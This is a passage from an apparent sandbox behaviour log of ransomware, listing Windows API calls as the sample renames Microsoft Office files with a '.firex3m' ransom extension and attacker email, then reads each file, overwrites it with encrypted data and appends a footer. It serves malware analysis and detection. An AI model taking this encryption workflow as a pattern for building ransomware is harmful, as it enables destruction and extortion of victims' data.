nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.672] CloseHandle (hObject=0x620) returned 1 [0153.672] GetProcessHeap () returned 0x630000 [0153.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f98110 | out: hHeap=0x630000) returned 1 [0153.673] GetProcessHeap () returned 0x630000 [0153.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7078ae0 | out: hHeap=0x630000) returned 1 [0153.673] GetProcessHeap () returned 0x630000 [0153.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0155.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2577485, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2577485, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x218bd1c7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5c85, dwReserved0=0x9707496, dwReserved1=0x7078ad8, cFileName="PROPRPT.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROPRP~1.FIR")) returned 0x6d54c0 [0155.288] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0155.288] Sleep (dwMilliseconds=0x1) [0155.306] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL", len=0x3e | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL") returned 1 [0155.306] GetProcessHeap () returned 0x630000 [0155.306] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b5c) returned 0x707d3d0 [0155.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0155.423] CloseHandle (hObject=0x640) returned 1 [0155.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28e4acd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x28e4acd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x28e4acd, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf070, dwReserved0=0x0, dwReserved1=0x201, cFileName="XFUNC.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNCV~1.FIR")) returned 0x6d5000 [0155.424] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0155.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0155.425] GetProcessHeap () returned 0x630000 [0155.425] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0155.425] GetProcessHeap () returned 0x630000 [0155.425] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730ba08 [0155.425] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.425] ReadFile (in: hFile=0x640, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.146] GetProcessHeap () returned 0x630000 [0162.147] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0162.147] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.147] WriteFile (in: hFile=0x640, lpBuffer=0x730ba08*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.147] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.147] WriteFile (in: hFile=0x640, lpBuffer=0x7316e07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316e07*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0162.147] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.148] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0162.148] CloseHandle (hObject=0x640) returned 1 [0162.148] GetProcessHeap () returned 0x630000 [0162.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0162.148] GetProcessHeap () returned 0x630000 [0162.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0162.148] GetProcessHeap () returned 0x630000 [0162.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0162.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0162.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28e4acd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x28e4acd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x26982d51, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf094, dwReserved0=0x9707496, dwReserved1=0x73005d0, cFileName="XFUNC.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNCV~1.FIR")) returned 0x6d5540 [0162.148] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0162.148] Sleep (dwMilliseconds=0x1) [0164.032] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.032] GetProcessHeap () returned 0x630000 [0164.032] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c0c) returned 0x707d3d0 [0164.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0165.540] CloseHandle (hObject=0x708) returned 1 [0165.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0168.590] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0168.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0168.591] GetProcessHeap () returned 0x630000 [0168.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0168.591] GetProcessHeap () returned 0x630000 [0168.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70234e0 [0168.591] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.591] ReadFile (in: hFile=0x708, lpBuffer=0x70180b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0175.259] GetProcessHeap () returned 0x630000 [0175.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0175.259] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.259] WriteFile (in: hFile=0x708, lpBuffer=0x70234e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0175.260] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.260] WriteFile (in: hFile=0x708, lpBuffer=0x702e8df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e8df*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0175.260] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.260] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0175.260] CloseHandle (hObject=0x708) returned 1 [0175.260] GetProcessHeap () returned 0x630000 [0175.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0175.260] GetProcessHeap () returned 0x630000 [0175.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0175.260] GetProcessHeap () returned 0x630000 [0175.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0175.260] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0175.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e68512c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0x9707496, dwReserved1=0x70180a8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0175.261] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0175.261] Sleep (dwMilliseconds=0x1) [0177.045] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK", len=0x4a | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK") returned 1 [0177.045] GetProcessHeap () returned 0x630000 [0177.045] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b38) returned 0x707d3d0 [0177.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0177.051] CloseHandle (hObject=0x4c0) returned 1 [0177.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~2.FIR")) returned 0x6d5000 [0177.164] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0177.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0177.164] GetProcessHeap () returned 0x630000 [0177.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4f28 [0177.164] GetProcessHeap () returned 0x630000 [0177.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4a18 [0177.165] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.165] ReadFile (in: hFile=0x6a8, lpBuffer=0x6a4f28, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4f28*, lpNumberOfBytesRead=0x65fff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.166] GetProcessHeap () returned 0x630000 [0177.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0177.166] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.166] WriteFile (in: hFile=0x6a8, lpBuffer=0x6a4a18*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a18*, lpNumberOfBytesWritten=0x65fff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.166] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.166] WriteFile (in: hFile=0x6a8, lpBuffer=0x6a4a77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a77*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.166] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.166] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.167] CloseHandle (hObject=0x6a8) returned 1 [0177.167] GetProcessHeap () returned 0x630000 [0177.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4a18 | out: hHeap=0x630000) returned 1 [0177.167] GetProcessHeap () returned 0x630000 [0177.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4f28 | out: hHeap=0x630000) returned 1 [0177.167] GetProcessHeap () returned 0x630000 [0177.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0177.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f8b3047, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x65ffd20, dwReserved1=0x778915ca, cFileName="WINPROJ_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~2.FIR")) returned 0x6d5280 [0177.167] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.167] Sleep (dwMilliseconds=0x1) [0179.045] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll") returned 1 [0179.046] GetProcessHeap () returned 0x630000 [0179.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab4) returned 0x707d3d0 [0179.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0179.166] CloseHandle (hObject=0x3f8) returned 1 [0179.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5580 [0179.167] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0179.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 